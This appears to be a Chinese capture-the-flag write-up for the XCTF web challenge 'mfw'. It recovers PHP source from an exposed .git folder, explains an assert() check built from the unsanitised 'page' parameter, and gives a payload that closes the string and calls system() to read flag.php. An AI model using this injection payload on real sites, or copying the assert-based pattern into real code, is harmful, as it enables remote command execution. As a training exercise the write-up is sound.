当前位置: 首页 > news >正文

XCTF-web-mfw

在这里插入图片描述

发现了git

在这里插入图片描述

使用GitHack下载一下源文件,找到了php源代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>

解析

<?php
// 获取GET参数中的page值,如果不存在则默认为"home"
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}// 拼接文件路径,将page值作为文件名
$file = "templates/" . $page . ".php";// 安全检查:确保路径中不包含".."(目录遍历攻击防护)
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// 安全检查:确保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解题:

在这里插入图片描述

?page=').system(“cat templates/flag.php”);//

’)进行闭合
system(“cat templates/flag.php”)表示在系统中执行cat templates/flag.php命令,该命令用于查看templates目录下的flag.php文件内容

在源码中可以看到flag

在这里插入图片描述

相关文章:

  • vue修改配置文件.env.development不生效
  • STM32:ESP8266 + MQTT 云端与报文全解析
  • MCP Server的五种主流架构:从原理到实践的深度解析
  • Vue Router 钩子函数与组件生命周期执行顺序详解
  • 【赵渝强老师】OceanBase的部署架构
  • GIT命令行的一些常规操作
  • HIS换代升级辅助脚手架:数据清洗、人员信息标准化、电子病历接口标准化、多模态影像接口标准化
  • 佰力博科技与您探讨DEAI介电阻抗分析仪的特点
  • 960g轻薄本,把科技塞进巧克力盒子
  • 数据分析学习笔记——A/B测试
  • PostgreSQL 数据完整性检查工具对比:amcheck 与 pg_checksums
  • : influxdb + grafana+JMeter
  • WHAT - 学习 WebSocket 实时 Web 开发
  • 【Redis】热点key问题,的原因和处理,一致性哈希,删除大key的方法
  • 单点登陆(SSO)简介-笔记
  • 用 Python 和 Rust 构建可微分的分子势能模型:深入解析 MOLPIPx 库
  • Redis 的内存回收机制
  • 资质评审周期压缩方案 实验室引入质检LIMS系统的关键步骤
  • 毫秒级数据采集的极致优化:如何用C#实现高性能、无冗余的实时文件写入?
  • 深度解析 Nginx 配置:从性能优化到 HTTPS 安全实践
  • 天津北京网站建设公司/杭州关键词推广优化方案
  • 今日国内新闻头条/嘉兴网站建设方案优化
  • 网站建设与维护的内容/安徽seo团队
  • 百度站长工具网站验证/淘宝产品关键词排名查询
  • 网站做优化效果怎么样/百度推广代理商
  • 武汉建筑公司网站/实时疫情最新消息数据